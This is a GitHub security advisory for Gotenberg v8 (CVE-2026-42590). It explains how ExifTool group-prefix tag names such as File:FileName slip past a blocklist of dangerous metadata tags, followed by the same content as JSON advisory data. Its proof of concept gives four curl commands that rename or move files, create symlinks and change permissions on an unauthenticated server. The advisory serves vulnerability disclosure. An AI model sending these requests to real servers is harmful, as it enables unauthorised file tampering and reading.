GHSA-7V3R-M9C8-R855
Vulnerability from github – Published: 2026-05-07 00:55 – Updated: 2026-07-21 13:51Summary
The ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool's group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.
Details
The blocklist in pkg/modules/exiftool/exiftool.go filters four dangerous pseudo-tags (FileName, Directory, HardLink, SymLink) using strings.EqualFold(key, tag). However, ExifTool supports group-prefix syntax where File:FileName is processed identically to FileName -- the prefix is stripped by SetNewValue in Writer.pl before tag matching.
The safeKeyPattern regex (^[a-zA-Z0-9\-_.:]+$) allows colons, so prefixed tag names pass validation. Any prefix works: File:FileName, System:Directory, a:HardLink, etc.
Additionally, FilePermissions, FileUserID, and FileGroupID pseudo-tags are not blocked at all and can modify file attributes without any prefix.
PoC
# Rename the converted PDF (bypasses FileName blocklist)
curl -F "files=@test.pdf" \
-F 'metadata={"File:FileName":"pwned.pdf"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Move the file to /tmp (bypasses Directory blocklist)
curl -F "files=@test.pdf" \
-F 'metadata={"File:Directory":"/tmp"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Create a symlink (bypasses SymLink blocklist)
curl -F "files=@test.pdf" \
-F 'metadata={"File:SymLink":"/tmp/symlink-poc"}' \
http://localhost:3000/forms/pdfengines/metadata/write
# Change file permissions (not blocked at all)
curl -F "files=@test.pdf" \
-F 'metadata={"FilePermissions":"rwxrwxrwx"}' \
http://localhost:3000/forms/pdfengines/metadata/write
Impact
Pre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.
This is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "8.29.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42590"
],
"database_specific": {
"cwe_ids": [
"CWE-184"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:55:44Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "HIGH"
},
"details": "**Summary**\n\nThe ExifTool metadata write blocklist in Gotenberg v8 can be bypassed using ExifTool\u0027s group-prefix syntax, enabling arbitrary file rename, move, hardlink, and symlink creation on the server. This is a bypass of the fix for GHSA-qmwh-9m9c-h36m.\n\n**Details**\n\nThe blocklist in `pkg/modules/exiftool/exiftool.go` filters four dangerous pseudo-tags (`FileName`, `Directory`, `HardLink`, `SymLink`) using `strings.EqualFold(key, tag)`. However, ExifTool supports group-prefix syntax where `File:FileName` is processed identically to `FileName` -- the prefix is stripped by `SetNewValue` in `Writer.pl` before tag matching.\n\nThe `safeKeyPattern` regex (`^[a-zA-Z0-9\\-_.:]+$`) allows colons, so prefixed tag names pass validation. Any prefix works: `File:FileName`, `System:Directory`, `a:HardLink`, etc.\n\nAdditionally, `FilePermissions`, `FileUserID`, and `FileGroupID` pseudo-tags are not blocked at all and can modify file attributes without any prefix.\n\n**PoC**\n\n```bash\n# Rename the converted PDF (bypasses FileName blocklist)\ncurl -F \"files=@test.pdf\" \\\n -F \u0027metadata={\"File:FileName\":\"pwned.pdf\"}\u0027 \\\n http://localhost:3000/forms/pdfengines/metadata/write\n\n# Move the file to /tmp (bypasses Directory blocklist)\ncurl -F \"files=@test.pdf\" \\\n -F \u0027metadata={\"File:Directory\":\"/tmp\"}\u0027 \\\n http://localhost:3000/forms/pdfengines/metadata/write\n\n# Create a symlink (bypasses SymLink blocklist)\ncurl -F \"files=@test.pdf\" \\\n -F \u0027metadata={\"File:SymLink\":\"/tmp/symlink-poc\"}\u0027 \\\n http://localhost:3000/forms/pdfengines/metadata/write\n\n# Change file permissions (not blocked at all)\ncurl -F \"files=@test.pdf\" \\\n -F \u0027metadata={\"FilePermissions\":\"rwxrwxrwx\"}\u0027 \\\n http://localhost:3000/forms/pdfengines/metadata/write\n```\n\n**Impact**\n\nPre-auth (no authentication by default). Attacker can rename, move, or create links to files within the Gotenberg container. In deployments with mounted volumes or non-containerized setups, this enables arbitrary file read via symlink chaining and file overwrite via directory manipulation.\n\nThis is a direct bypass of the fix for GHSA-qmwh-9m9c-h36m.",
"id": "GHSA-7v3r-m9c8-r855",
"modified": "2026-07-21T13:51:55Z",
"published": "2026-05-07T00:55:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-7v3r-m9c8-r855"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42590"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-qmwh-9m9c-h36m"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg\u0027s ExifTool group-prefix syntax bypasses dangerous-tag blocklist"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
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- Not confirmed: The user expressed doubt about the validity of the vulnerability.
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